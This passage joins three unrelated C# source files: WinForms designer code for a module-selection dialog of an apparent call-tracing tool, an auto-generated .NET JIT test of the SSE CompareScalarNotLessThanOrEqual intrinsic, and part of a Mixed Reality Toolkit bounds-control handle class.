System.Drawing.Point(576, 395); this.btnUncheckAll.Name = "btnUncheckAll"; this.btnUncheckAll.Size = new System.Drawing.Size(79, 22); this.btnUncheckAll.TabIndex = 7; this.btnUncheckAll.Text = "(uncheck all)"; this.btnUncheckAll.UseVisualStyleBackColor = true; this.btnUncheckAll.Click += new System.EventHandler(this.btnUncheckAll_Click); // // btnCheckAll // this.btnCheckAll.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); this.btnCheckAll.Location = new System.Drawing.Point(661, 395); this.btnCheckAll.Name = "btnCheckAll"; this.btnCheckAll.Size = new System.Drawing.Size(79, 22); this.btnCheckAll.TabIndex = 6; this.btnCheckAll.Text = "(check all)"; this.btnCheckAll.UseVisualStyleBackColor = true; this.btnCheckAll.Click += new System.EventHandler(this.btnCheckAll_Click); // // label2 // this.label2.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); this.label2.BackColor = System.Drawing.SystemColors.Info; this.label2.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; this.label2.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Italic, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.label2.Location = new System.Drawing.Point(719, 297); this.label2.Name = "label2"; this.label2.Size = new System.Drawing.Size(222, 18); this.label2.TabIndex = 10; this.label2.Text = "Disassembly Options"; // // panel5 // this.panel5.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); this.panel5.BackColor = System.Drawing.Color.Snow; this.panel5.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; this.panel5.Controls.Add(this.checkAggressiveDereferencing); this.panel5.Controls.Add(this.checkForceAllIntermodular); this.panel5.Controls.Add(this.checkOnlyIntermodular); this.panel5.Controls.Add(this.checkInjectCallbacks); this.panel5.Location = new System.Drawing.Point(719, 314); this.panel5.Name = "panel5"; this.panel5.Size = new System.Drawing.Size(222, 75); this.panel5.TabIndex = 70; // // checkAggressiveDereferencing // this.checkAggressiveDereferencing.AutoSize = true; this.checkAggressiveDereferencing.Location = new System.Drawing.Point(3, 55); this.checkAggressiveDereferencing.Name = "checkAggressiveDereferencing"; this.checkAggressiveDereferencing.Size = new System.Drawing.Size(193, 17); this.checkAggressiveDereferencing.TabIndex = 74; this.checkAggressiveDereferencing.Tag = ""; this.checkAggressiveDereferencing.Text = "Aggressive argument dereferencing"; this.checkAggressiveDereferencing.UseVisualStyleBackColor = true; this.checkAggressiveDereferencing.CheckedChanged += new System.EventHandler(this.checkAggressiveDereferencing_CheckedChanged); // // checkForceAllIntermodular // this.checkForceAllIntermodular.AutoSize = true; this.checkForceAllIntermodular.Location = new System.Drawing.Point(3, 38); this.checkForceAllIntermodular.Name = "checkForceAllIntermodular"; this.checkForceAllIntermodular.Size = new System.Drawing.Size(212, 17); this.checkForceAllIntermodular.TabIndex = 73; this.checkForceAllIntermodular.Tag = "If checked, the recording instrumentation is inserted at the start of the functio" + "n - as opposed to redirecting the call in transit."; this.checkForceAllIntermodular.Text = "Force recording of all inter-modular calls"; this.checkForceAllIntermodular.UseVisualStyleBackColor = true; // // checkOnlyIntermodular // this.checkOnlyIntermodular.AutoSize = true; this.checkOnlyIntermodular.Location = new System.Drawing.Point(3, 21); this.checkOnlyIntermodular.Name = "checkOnlyIntermodular"; this.checkOnlyIntermodular.Size = new System.Drawing.Size(167, 17); this.checkOnlyIntermodular.TabIndex = 71; this.checkOnlyIntermodular.Text = "Only record inter-modular calls"; this.checkOnlyIntermodular.UseVisualStyleBackColor = true; this.checkOnlyIntermodular.CheckedChanged += new System.EventHandler(this.checkOnlyIntermodularCheckedChanged); // // checkInjectCallbacks // this.checkInjectCallbacks.AutoSize = true; this.checkInjectCallbacks.Checked = true; this.checkInjectCallbacks.CheckState = System.Windows.Forms.CheckState.Checked; this.checkInjectCallbacks.Location = new System.Drawing.Point(3, 3); this.checkInjectCallbacks.Name = "checkInjectCallbacks"; this.checkInjectCallbacks.Size = new System.Drawing.Size(140, 17); this.checkInjectCallbacks.TabIndex = 0; this.checkInjectCallbacks.Text = "Overwrite object vtables"; this.checkInjectCallbacks.UseVisualStyleBackColor = true; // // formSelectModules // this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; this.ClientSize = new System.Drawing.Size(945, 419); this.Controls.Add(this.panel5); this.Controls.Add(this.label2); this.Controls.Add(this.btnUncheckAll); this.Controls.Add(this.btnCheckAll); this.Controls.Add(this.listModules); this.Controls.Add(this.btnOk); this.Controls.Add(this.btnCancel); this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.SizableToolWindow; this.Name = "formSelectModules"; this.StartPosition = System.Windows.Forms.FormStartPosition.CenterParent; this.Text = "Select Modules to Analyze"; this.Load += new System.EventHandler(this.formSelectModules_Load); this.panel5.ResumeLayout(false); this.panel5.PerformLayout(); this.ResumeLayout(false); } #endregion private System.Windows.Forms.Button btnCancel; private System.Windows.Forms.Button btnOk; private System.Windows.Forms.ListView listModules; private System.Windows.Forms.ColumnHeader columnHeader1; private System.Windows.Forms.ColumnHeader columnHeader3; private System.Windows.Forms.ColumnHeader columnHeader2; private System.Windows.Forms.Button btnUncheckAll; private System.Windows.Forms.Button btnCheckAll; private System.Windows.Forms.Label label2; private System.Windows.Forms.Panel panel5; private System.Windows.Forms.CheckBox checkOnlyIntermodular; private System.Windows.Forms.CheckBox checkInjectCallbacks; private System.Windows.Forms.CheckBox checkForceAllIntermodular; private System.Windows.Forms.CheckBox checkAggressiveDereferencing; } }
// Licensed to the .NET Foundation under one or more agreements. // The .NET Foundation licenses this file to you under the MIT license. // See the LICENSE file in the project root for more information. /****************************************************************************** * This file is auto-generated from a template file by the GenerateTests.csx * * script in tests\src\JIT\HardwareIntrinsics\X86\Shared. In order to make * * changes, please update the corresponding template and run according to the * * directions listed in the file. * ******************************************************************************/ using System; using System.Runtime.CompilerServices; using System.Runtime.InteropServices; using System.Runtime.Intrinsics; using System.Runtime.Intrinsics.X86; namespace JIT.HardwareIntrinsics.X86 { public static partial class Program { private static void CompareScalarNotLessThanOrEqualSingle() { var test = new SimpleBinaryOpTest__CompareScalarNotLessThanOrEqualSingle(); if (test.IsSupported) { // Validates basic functionality works, using Unsafe.Read test.RunBasicScenario_UnsafeRead(); if (Sse.IsSupported) { // Validates basic functionality works, using Load test.RunBasicScenario_Load(); // Validates basic functionality works, using LoadAligned test.RunBasicScenario_LoadAligned(); } // Validates calling via reflection works, using Unsafe.Read test.RunReflectionScenario_UnsafeRead(); if (Sse.IsSupported) { // Validates calling via reflection works, using Load test.RunReflectionScenario_Load(); // Validates calling via reflection works, using LoadAligned test.RunReflectionScenario_LoadAligned(); } // Validates passing a static member works test.RunClsVarScenario(); if (Sse.IsSupported) { // Validates passing a static member works, using pinning and Load test.RunClsVarScenario_Load(); } // Validates passing a local works, using Unsafe.Read test.RunLclVarScenario_UnsafeRead(); if (Sse.IsSupported) { // Validates passing a local works, using Load test.RunLclVarScenario_Load(); // Validates passing a local works, using LoadAligned test.RunLclVarScenario_LoadAligned(); } // Validates passing the field of a local class works test.RunClassLclFldScenario(); if (Sse.IsSupported) { // Validates passing the field of a local class works, using pinning and Load test.RunClassLclFldScenario_Load(); } // Validates passing an instance member of a class works test.RunClassFldScenario(); if (Sse.IsSupported) { // Validates passing an instance member of a class works, using pinning and Load test.RunClassFldScenario_Load(); } // Validates passing the field of a local struct works test.RunStructLclFldScenario(); if (Sse.IsSupported) { // Validates passing the field of a local struct works, using pinning and Load test.RunStructLclFldScenario_Load(); } // Validates passing an instance member of a struct works test.RunStructFldScenario(); if (Sse.IsSupported) { // Validates passing an instance member of a struct works, using pinning and Load test.RunStructFldScenario_Load(); } } else { // Validates we throw on unsupported hardware test.RunUnsupportedScenario(); } if (!test.Succeeded) { throw new Exception("One or more scenarios did not complete as expected."); } } } public sealed unsafe class SimpleBinaryOpTest__CompareScalarNotLessThanOrEqualSingle { private struct DataTable { private byte[] inArray1; private byte[] inArray2; private byte[] outArray; private GCHandle inHandle1; private GCHandle inHandle2; private GCHandle outHandle; private ulong alignment; public DataTable(Single[] inArray1, Single[] inArray2, Single[] outArray, int alignment) { int sizeOfinArray1 = inArray1.Length * Unsafe.SizeOf<Single>(); int sizeOfinArray2 = inArray2.Length * Unsafe.SizeOf<Single>(); int sizeOfoutArray = outArray.Length * Unsafe.SizeOf<Single>(); if ((alignment != 32 && alignment != 16) || (alignment * 2) < sizeOfinArray1 || (alignment * 2) < sizeOfinArray2 || (alignment * 2) < sizeOfoutArray) { throw new ArgumentException("Invalid value of alignment"); } this.inArray1 = new byte[alignment * 2]; this.inArray2 = new byte[alignment * 2]; this.outArray = new byte[alignment * 2]; this.inHandle1 = GCHandle.Alloc(this.inArray1, GCHandleType.Pinned); this.inHandle2 = GCHandle.Alloc(this.inArray2, GCHandleType.Pinned); this.outHandle = GCHandle.Alloc(this.outArray, GCHandleType.Pinned); this.alignment = (ulong)alignment; Unsafe.CopyBlockUnaligned(ref Unsafe.AsRef<byte>(inArray1Ptr), ref Unsafe.As<Single, byte>(ref inArray1[0]), (uint)sizeOfinArray1); Unsafe.CopyBlockUnaligned(ref Unsafe.AsRef<byte>(inArray2Ptr), ref Unsafe.As<Single, byte>(ref inArray2[0]), (uint)sizeOfinArray2); } public void* inArray1Ptr => Align((byte*)(inHandle1.AddrOfPinnedObject().ToPointer()), alignment); public void* inArray2Ptr => Align((byte*)(inHandle2.AddrOfPinnedObject().ToPointer()), alignment); public void* outArrayPtr => Align((byte*)(outHandle.AddrOfPinnedObject().ToPointer()), alignment); public void Dispose() { inHandle1.Free(); inHandle2.Free(); outHandle.Free(); } private static unsafe void* Align(byte* buffer, ulong expectedAlignment) { return (void*)(((ulong)buffer + expectedAlignment - 1) & ~(expectedAlignment - 1)); } } private struct TestStruct { public Vector128<Single> _fld1; public Vector128<Single> _fld2; public static TestStruct Create() { var testStruct = new TestStruct(); for (var i = 0; i < Op1ElementCount; i++) { _data1[i] = TestLibrary.Generator.GetSingle(); } Unsafe.CopyBlockUnaligned(ref Unsafe.As<Vector128<Single>, byte>(ref testStruct._fld1), ref Unsafe.As<Single, byte>(ref _data1[0]), (uint)Unsafe.SizeOf<Vector128<Single>>()); for (var i = 0; i < Op2ElementCount; i++) { _data2[i] = TestLibrary.Generator.GetSingle(); } Unsafe.CopyBlockUnaligned(ref Unsafe.As<Vector128<Single>, byte>(ref testStruct._fld2), ref Unsafe.As<Single, byte>(ref _data2[0]), (uint)Unsafe.SizeOf<Vector128<Single>>()); return testStruct; } public void RunStructFldScenario(SimpleBinaryOpTest__CompareScalarNotLessThanOrEqualSingle testClass) { var result = Sse.CompareScalarNotLessThanOrEqual(_fld1, _fld2); Unsafe.Write(testClass._dataTable.outArrayPtr, result); testClass.ValidateResult(_fld1, _fld2, testClass._dataTable.outArrayPtr); } public void RunStructFldScenario_Load(SimpleBinaryOpTest__CompareScalarNotLessThanOrEqualSingle testClass) { fixed (Vector128<Single>* pFld1 = &_fld1) fixed (Vector128<Single>* pFld2 = &_fld2) { var result = Sse.CompareScalarNotLessThanOrEqual( Sse.LoadVector128((Single*)(pFld1)), Sse.LoadVector128((Single*)(pFld2)) ); Unsafe.Write(testClass._dataTable.outArrayPtr, result); testClass.ValidateResult(_fld1, _fld2, testClass._dataTable.outArrayPtr); } } } private static readonly int LargestVectorSize = 16; private static readonly int Op1ElementCount = Unsafe.SizeOf<Vector128<Single>>() / sizeof(Single); private static readonly int Op2ElementCount = Unsafe.SizeOf<Vector128<Single>>() / sizeof(Single); private static readonly int RetElementCount = Unsafe.SizeOf<Vector128<Single>>() / sizeof(Single); private static Single[] _data1 = new Single[Op1ElementCount]; private static Single[] _data2 = new Single[Op2ElementCount]; private static Vector128<Single> _clsVar1; private static Vector128<Single> _clsVar2; private Vector128<Single> _fld1; private Vector128<Single> _fld2; private DataTable _dataTable; static SimpleBinaryOpTest__CompareScalarNotLessThanOrEqualSingle() { for (var i = 0; i < Op1ElementCount; i++) { _data1[i] = TestLibrary.Generator.GetSingle(); } Unsafe.CopyBlockUnaligned(ref Unsafe.As<Vector128<Single>, byte>(ref _clsVar1), ref Unsafe.As<Single, byte>(ref _data1[0]), (uint)Unsafe.SizeOf<Vector128<Single>>()); for (var i = 0; i < Op2ElementCount; i++) { _data2[i] = TestLibrary.Generator.GetSingle(); } Unsafe.CopyBlockUnaligned(ref Unsafe.As<Vector128<Single>, byte>(ref _clsVar2), ref Unsafe.As<Single, byte>(ref _data2[0]), (uint)Unsafe.SizeOf<Vector128<Single>>()); } public SimpleBinaryOpTest__CompareScalarNotLessThanOrEqualSingle() { Succeeded = true; for (var i = 0; i < Op1ElementCount; i++) { _data1[i] = TestLibrary.Generator.GetSingle(); } Unsafe.CopyBlockUnaligned(ref Unsafe.As<Vector128<Single>, byte>(ref _fld1), ref Unsafe.As<Single, byte>(ref _data1[0]), (uint)Unsafe.SizeOf<Vector128<Single>>()); for (var i = 0; i < Op2ElementCount; i++) { _data2[i] = TestLibrary.Generator.GetSingle(); } Unsafe.CopyBlockUnaligned(ref Unsafe.As<Vector128<Single>, byte>(ref _fld2), ref Unsafe.As<Single, byte>(ref _data2[0]), (uint)Unsafe.SizeOf<Vector128<Single>>()); for (var i = 0; i < Op1ElementCount; i++) { _data1[i] = TestLibrary.Generator.GetSingle(); } for (var i = 0; i < Op2ElementCount; i++) { _data2[i] = TestLibrary.Generator.GetSingle(); } _dataTable = new DataTable(_data1, _data2, new Single[RetElementCount], LargestVectorSize); } public bool IsSupported => Sse.IsSupported; public bool Succeeded { get; set; } public void RunBasicScenario_UnsafeRead() { TestLibrary.TestFramework.BeginScenario(nameof(RunBasicScenario_UnsafeRead)); var result = Sse.CompareScalarNotLessThanOrEqual( Unsafe.Read<Vector128<Single>>(_dataTable.inArray1Ptr), Unsafe.Read<Vector128<Single>>(_dataTable.inArray2Ptr) ); Unsafe.Write(_dataTable.outArrayPtr, result); ValidateResult(_dataTable.inArray1Ptr, _dataTable.inArray2Ptr, _dataTable.outArrayPtr); } public void RunBasicScenario_Load() { TestLibrary.TestFramework.BeginScenario(nameof(RunBasicScenario_Load)); var result = Sse.CompareScalarNotLessThanOrEqual( Sse.LoadVector128((Single*)(_dataTable.inArray1Ptr)), Sse.LoadVector128((Single*)(_dataTable.inArray2Ptr)) ); Unsafe.Write(_dataTable.outArrayPtr, result); ValidateResult(_dataTable.inArray1Ptr, _dataTable.inArray2Ptr, _dataTable.outArrayPtr); } public void RunBasicScenario_LoadAligned() { TestLibrary.TestFramework.BeginScenario(nameof(RunBasicScenario_LoadAligned)); var result = Sse.CompareScalarNotLessThanOrEqual( Sse.LoadAlignedVector128((Single*)(_dataTable.inArray1Ptr)), Sse.LoadAlignedVector128((Single*)(_dataTable.inArray2Ptr)) ); Unsafe.Write(_dataTable.outArrayPtr, result); ValidateResult(_dataTable.inArray1Ptr, _dataTable.inArray2Ptr, _dataTable.outArrayPtr); } public void RunReflectionScenario_UnsafeRead() { TestLibrary.TestFramework.BeginScenario(nameof(RunReflectionScenario_UnsafeRead)); var result = typeof(Sse).GetMethod(nameof(Sse.CompareScalarNotLessThanOrEqual), new Type[] { typeof(Vector128<Single>), typeof(Vector128<Single>) }) .Invoke(null, new object[] { Unsafe.Read<Vector128<Single>>(_dataTable.inArray1Ptr), Unsafe.Read<Vector128<Single>>(_dataTable.inArray2Ptr) }); Unsafe.Write(_dataTable.outArrayPtr, (Vector128<Single>)(result)); ValidateResult(_dataTable.inArray1Ptr, _dataTable.inArray2Ptr, _dataTable.outArrayPtr); } public void RunReflectionScenario_Load() { TestLibrary.TestFramework.BeginScenario(nameof(RunReflectionScenario_Load)); var result = typeof(Sse).GetMethod(nameof(Sse.CompareScalarNotLessThanOrEqual), new Type[] { typeof(Vector128<Single>), typeof(Vector128<Single>) }) .Invoke(null, new object[] { Sse.LoadVector128((Single*)(_dataTable.inArray1Ptr)), Sse.LoadVector128((Single*)(_dataTable.inArray2Ptr)) }); Unsafe.Write(_dataTable.outArrayPtr, (Vector128<Single>)(result)); ValidateResult(_dataTable.inArray1Ptr, _dataTable.inArray2Ptr, _dataTable.outArrayPtr); } public void RunReflectionScenario_LoadAligned() { TestLibrary.TestFramework.BeginScenario(nameof(RunReflectionScenario_LoadAligned)); var result = typeof(Sse).GetMethod(nameof(Sse.CompareScalarNotLessThanOrEqual), new Type[] { typeof(Vector128<Single>), typeof(Vector128<Single>) }) .Invoke(null, new object[] { Sse.LoadAlignedVector128((Single*)(_dataTable.inArray1Ptr)), Sse.LoadAlignedVector128((Single*)(_dataTable.inArray2Ptr)) }); Unsafe.Write(_dataTable.outArrayPtr, (Vector128<Single>)(result)); ValidateResult(_dataTable.inArray1Ptr, _dataTable.inArray2Ptr, _dataTable.outArrayPtr); } public void RunClsVarScenario() { TestLibrary.TestFramework.BeginScenario(nameof(RunClsVarScenario)); var result = Sse.CompareScalarNotLessThanOrEqual( _clsVar1, _clsVar2 ); Unsafe.Write(_dataTable.outArrayPtr, result); ValidateResult(_clsVar1, _clsVar2, _dataTable.outArrayPtr); } public void RunClsVarScenario_Load() { TestLibrary.TestFramework.BeginScenario(nameof(RunClsVarScenario_Load)); fixed (Vector128<Single>* pClsVar1 = &_clsVar1) fixed (Vector128<Single>* pClsVar2 = &_clsVar2) { var result = Sse.CompareScalarNotLessThanOrEqual( Sse.LoadVector128((Single*)(pClsVar1)), Sse.LoadVector128((Single*)(pClsVar2)) ); Unsafe.Write(_dataTable.outArrayPtr, result); ValidateResult(_clsVar1, _clsVar2, _dataTable.outArrayPtr); } } public void RunLclVarScenario_UnsafeRead() { TestLibrary.TestFramework.BeginScenario(nameof(RunLclVarScenario_UnsafeRead)); var op1 = Unsafe.Read<Vector128<Single>>(_dataTable.inArray1Ptr); var op2 = Unsafe.Read<Vector128<Single>>(_dataTable.inArray2Ptr); var result = Sse.CompareScalarNotLessThanOrEqual(op1, op2); Unsafe.Write(_dataTable.outArrayPtr, result); ValidateResult(op1, op2, _dataTable.outArrayPtr); } public void RunLclVarScenario_Load() { TestLibrary.TestFramework.BeginScenario(nameof(RunLclVarScenario_Load)); var op1 = Sse.LoadVector128((Single*)(_dataTable.inArray1Ptr)); var op2 = Sse.LoadVector128((Single*)(_dataTable.inArray2Ptr)); var result = Sse.CompareScalarNotLessThanOrEqual(op1, op2); Unsafe.Write(_dataTable.outArrayPtr, result); ValidateResult(op1, op2, _dataTable.outArrayPtr); } public void RunLclVarScenario_LoadAligned() { TestLibrary.TestFramework.BeginScenario(nameof(RunLclVarScenario_LoadAligned)); var op1 = Sse.LoadAlignedVector128((Single*)(_dataTable.inArray1Ptr)); var op2 = Sse.LoadAlignedVector128((Single*)(_dataTable.inArray2Ptr)); var result = Sse.CompareScalarNotLessThanOrEqual(op1, op2); Unsafe.Write(_dataTable.outArrayPtr, result); ValidateResult(op1, op2, _dataTable.outArrayPtr); } public void RunClassLclFldScenario() { TestLibrary.TestFramework.BeginScenario(nameof(RunClassLclFldScenario)); var test = new SimpleBinaryOpTest__CompareScalarNotLessThanOrEqualSingle(); var result = Sse.CompareScalarNotLessThanOrEqual(test._fld1, test._fld2); Unsafe.Write(_dataTable.outArrayPtr, result); ValidateResult(test._fld1, test._fld2, _dataTable.outArrayPtr); } public void RunClassLclFldScenario_Load() { TestLibrary.TestFramework.BeginScenario(nameof(RunClassLclFldScenario_Load)); var test = new SimpleBinaryOpTest__CompareScalarNotLessThanOrEqualSingle(); fixed (Vector128<Single>* pFld1 = &test._fld1) fixed (Vector128<Single>* pFld2 = &test._fld2) { var result = Sse.CompareScalarNotLessThanOrEqual( Sse.LoadVector128((Single*)(pFld1)), Sse.LoadVector128((Single*)(pFld2)) ); Unsafe.Write(_dataTable.outArrayPtr, result); ValidateResult(test._fld1, test._fld2, _dataTable.outArrayPtr); } } public void RunClassFldScenario() { TestLibrary.TestFramework.BeginScenario(nameof(RunClassFldScenario)); var result = Sse.CompareScalarNotLessThanOrEqual(_fld1, _fld2); Unsafe.Write(_dataTable.outArrayPtr, result); ValidateResult(_fld1, _fld2, _dataTable.outArrayPtr); } public void RunClassFldScenario_Load() { TestLibrary.TestFramework.BeginScenario(nameof(RunClassFldScenario_Load)); fixed (Vector128<Single>* pFld1 = &_fld1) fixed (Vector128<Single>* pFld2 = &_fld2) { var result = Sse.CompareScalarNotLessThanOrEqual( Sse.LoadVector128((Single*)(pFld1)), Sse.LoadVector128((Single*)(pFld2)) ); Unsafe.Write(_dataTable.outArrayPtr, result); ValidateResult(_fld1, _fld2, _dataTable.outArrayPtr); } } public void RunStructLclFldScenario() { TestLibrary.TestFramework.BeginScenario(nameof(RunStructLclFldScenario)); var test = TestStruct.Create(); var result = Sse.CompareScalarNotLessThanOrEqual(test._fld1, test._fld2); Unsafe.Write(_dataTable.outArrayPtr, result); ValidateResult(test._fld1, test._fld2, _dataTable.outArrayPtr); } public void RunStructLclFldScenario_Load() { TestLibrary.TestFramework.BeginScenario(nameof(RunStructLclFldScenario_Load)); var test = TestStruct.Create(); var result = Sse.CompareScalarNotLessThanOrEqual( Sse.LoadVector128((Single*)(&test._fld1)), Sse.LoadVector128((Single*)(&test._fld2)) ); Unsafe.Write(_dataTable.outArrayPtr, result); ValidateResult(test._fld1, test._fld2, _dataTable.outArrayPtr); } public void RunStructFldScenario() { TestLibrary.TestFramework.BeginScenario(nameof(RunStructFldScenario)); var test = TestStruct.Create(); test.RunStructFldScenario(this); } public void RunStructFldScenario_Load() { TestLibrary.TestFramework.BeginScenario(nameof(RunStructFldScenario_Load)); var test = TestStruct.Create(); test.RunStructFldScenario_Load(this); } public void RunUnsupportedScenario() { TestLibrary.TestFramework.BeginScenario(nameof(RunUnsupportedScenario)); bool succeeded = false; try { RunBasicScenario_UnsafeRead(); } catch (PlatformNotSupportedException) { succeeded = true; } if (!succeeded) { Succeeded = false; } } private void ValidateResult(Vector128<Single> op1, Vector128<Single> op2, void* result, [CallerMemberName] string method = "") { Single[] inArray1 = new Single[Op1ElementCount]; Single[] inArray2 = new Single[Op2ElementCount]; Single[] outArray = new Single[RetElementCount]; Unsafe.WriteUnaligned(ref Unsafe.As<Single, byte>(ref inArray1[0]), op1); Unsafe.WriteUnaligned(ref Unsafe.As<Single, byte>(ref inArray2[0]), op2); Unsafe.CopyBlockUnaligned(ref Unsafe.As<Single, byte>(ref outArray[0]), ref Unsafe.AsRef<byte>(result), (uint)Unsafe.SizeOf<Vector128<Single>>()); ValidateResult(inArray1, inArray2, outArray, method); } private void ValidateResult(void* op1, void* op2, void* result, [CallerMemberName] string method = "") { Single[] inArray1 = new Single[Op1ElementCount]; Single[] inArray2 = new Single[Op2ElementCount]; Single[] outArray = new Single[RetElementCount]; Unsafe.CopyBlockUnaligned(ref Unsafe.As<Single, byte>(ref inArray1[0]), ref Unsafe.AsRef<byte>(op1), (uint)Unsafe.SizeOf<Vector128<Single>>()); Unsafe.CopyBlockUnaligned(ref Unsafe.As<Single, byte>(ref inArray2[0]), ref Unsafe.AsRef<byte>(op2), (uint)Unsafe.SizeOf<Vector128<Single>>()); Unsafe.CopyBlockUnaligned(ref Unsafe.As<Single, byte>(ref outArray[0]), ref Unsafe.AsRef<byte>(result), (uint)Unsafe.SizeOf<Vector128<Single>>()); ValidateResult(inArray1, inArray2, outArray, method); } private void ValidateResult(Single[] left, Single[] right, Single[] result, [CallerMemberName] string method = "") { bool succeeded = true; if (BitConverter.SingleToInt32Bits(result[0]) != (!(left[0] <= right[0]) ? -1 : 0)) { succeeded = false; } else { for (var i = 1; i < RetElementCount; i++) { if (BitConverter.SingleToInt32Bits(left[i]) != BitConverter.SingleToInt32Bits(result[i])) { succeeded = false; break; } } } if (!succeeded) { TestLibrary.TestFramework.LogInformation($"{nameof(Sse)}.{nameof(Sse.CompareScalarNotLessThanOrEqual)}<Single>(Vector128<Single>, Vector128<Single>): {method} failed:"); TestLibrary.TestFramework.LogInformation($" left: ({string.Join(", ", left)})"); TestLibrary.TestFramework.LogInformation($" right: ({string.Join(", ", right)})"); TestLibrary.TestFramework.LogInformation($" result: ({string.Join(", ", result)})"); TestLibrary.TestFramework.LogInformation(string.Empty); Succeeded = false; } } } }
// Copyright (c) Microsoft Corporation. // Licensed under the MIT License. using Microsoft.MixedReality.Toolkit.Input; using Microsoft.MixedReality.Toolkit.UI.BoundsControlTypes; using System.Collections.Generic; using UnityEngine; namespace Microsoft.MixedReality.Toolkit.UI.BoundsControl { /// <summary> /// Rotation handles for <see cref="BoundsControl"/> that are used for rotating the /// Gameobject BoundsControl is attached to with near or far interaction /// </summary> public abstract class PerAxisHandles : HandlesBase { /// <summary> /// Configuration defining the handle behavior. /// </summary> protected override HandlesBaseConfiguration BaseConfig => config; protected PerAxisHandlesConfiguration config; /// <summary> /// Defines the axes the handles are assigned to. /// There needs to be an entry for each of the created handles. /// Predefined arrays for <see cref="VisualUtils.EdgeAxisType">Edges/Links</cref> and /// <see cref="VisualUtils.FaceAxisType">Faces</cref> can be passed from <see cref="VisualUtils">VisualUtils</cref> /// </summary> internal abstract CardinalAxisType[] handleAxes { get; } /// <summary> /// This description is used as the name (followed by an index) for the handle gameobject. /// Can be used to search the rigroot tree to find a specific handle by name /// </summary> protected virtual string HandlePositionDescription => "handle"; private int NumHandles => handleAxes.Length; /// <summary> /// Cached handle positions - we keep track of handle positions in this array /// in case we have to reload the handles due to configuration changes. /// </summary> protected Vector3[] HandlePositions { get; private set; } /// <summary> /// Defines the positions of the handles. Has to be provided in specific handle class. /// </summary> internal abstract void CalculateHandlePositions(ref Vector3[] boundsCorners); /// <summary> /// Provide the rotation alignment for a handle. This method will be called when creating the handles. /// </summary> /// <param name="handleIndex">Index of the handle the rotation alignment is provided for.</param> protected abstract Quaternion GetRotationRealignment(int handleIndex); internal PerAxisHandles(PerAxisHandlesConfiguration configuration) { HandlePositions = new Vector3[NumHandles]; Debug.Assert(configuration != null, "Can't create " + ToString() + " without valid configuration"); config = configuration; config.handlesChanged.AddListener(HandlesChanged); config.colliderTypeChanged.AddListener(UpdateColliderType); } ~PerAxisHandles() { config.handlesChanged.RemoveListener(HandlesChanged); config.colliderTypeChanged.RemoveListener(UpdateColliderType); } private void UpdateColliderType() { foreach (var handle in handles) { // remove old colliders bool shouldCreateNewCollider = false; var oldBoxCollider = handle.GetComponent<BoxCollider>(); if (oldBoxCollider != null && config.HandlePrefabColliderType == HandlePrefabCollider.Sphere) { shouldCreateNewCollider = true; Object.Destroy(oldBoxCollider); } var oldSphereCollider = handle.GetComponent<SphereCollider>(); if (oldSphereCollider != null && config.HandlePrefabColliderType == HandlePrefabCollider.Box) { shouldCreateNewCollider = true; Object.Destroy(oldSphereCollider); } if (shouldCreateNewCollider) { // attach new collider var handleBounds = VisualUtils.GetMaxBounds(GetVisual(handle).gameObject); var invScale = handleBounds.size.x == 0.0f ? 0.0f : config.HandleSize / handleBounds.size.x; Vector3 colliderSizeScaled = handleBounds.size * invScale; Vector3 colliderCenterScaled = handleBounds.center * invScale; if (config.HandlePrefabColliderType == HandlePrefabCollider.Box) { BoxCollider collider = handle.gameObject.AddComponent<BoxCollider>(); collider.size = colliderSizeScaled; collider.center = colliderCenterScaled; collider.size += config.ColliderPadding; } else { SphereCollider sphere = handle.gameObject.AddComponent<SphereCollider>(); sphere.center = colliderCenterScaled; sphere.radius = colliderSizeScaled.x * 0.5f; sphere.radius += VisualUtils.GetMaxComponent(config.ColliderPadding); } } } } internal int GetHandleIndex(Transform handle) { for (int i = 0; i < handles.Count; ++i) { if (handle == handles[i]) { return i; } } return handles.Count; } internal Vector3 GetHandlePosition(int index) { Debug.Assert(index >= 0 && index < NumHandles, "Handle position index out of bounds"); return HandlePositions[index]; } internal CardinalAxisType GetAxisType(int index) { Debug.Assert(index >= 0 && index < NumHandles, "Edge axes index out of bounds"); return handleAxes[index]; } internal CardinalAxisType GetAxisType(Transform handle) { int index = GetHandleIndex(handle); return GetAxisType(index); } protected void UpdateHandles() { for (int i = 0; i < handles.Count; ++i) { handles[i].position = GetHandlePosition(i); } } internal void Reset(bool areHandlesActive, FlattenModeType flattenAxis) { IsActive = areHandlesActive; ResetHandles(); if (IsActive && handleAxes.Length == handles.Count) { List<int> flattenedHandles = VisualUtils.GetFlattenedIndices(flattenAxis, handleAxes); if (flattenedHandles != null) { for (int i = 0; i < flattenedHandles.Count; ++i) { handles[flattenedHandles[i]].gameObject.SetActive(false); } } } } internal void Create(ref Vector3[] boundsCorners, Transform parent) { CalculateHandlePositions(ref boundsCorners); CreateHandles(parent); } private void CreateHandles(Transform parent) { for (int i = 0; i < HandlePositions.Length; ++i) { GameObject handle = new GameObject(); handle.name = HandlePositionDescription + "_" + i.ToString(); handle.transform.position = HandlePositions[i]; handle.transform.parent = parent; Bounds midpointBounds = CreateVisual(i, handle); float maxDim = VisualUtils.GetMaxComponent(midpointBounds.size); float invScale = maxDim == 0.0f ? 0.0f : config.HandleSize / maxDim; VisualUtils.AddComponentsToAffordance(handle, new Bounds(midpointBounds.center * invScale, midpointBounds.size * invScale), config.HandlePrefabColliderType, CursorContextInfo.CursorAction.Rotate, config.ColliderPadding, parent, config.DrawTetherWhenManipulating); handles.Add(handle.transform); } VisualUtils.HandleIgnoreCollider(config.HandlesIgnoreCollider, handles); objectsChangedEvent.Invoke(this); } protected override void RecreateVisuals() { for (int i = 0; i < handles.Count; ++i) { // get parent of visual Transform obsoleteChild = handles[i].Find(visualsName); if (obsoleteChild) { // get old child and remove 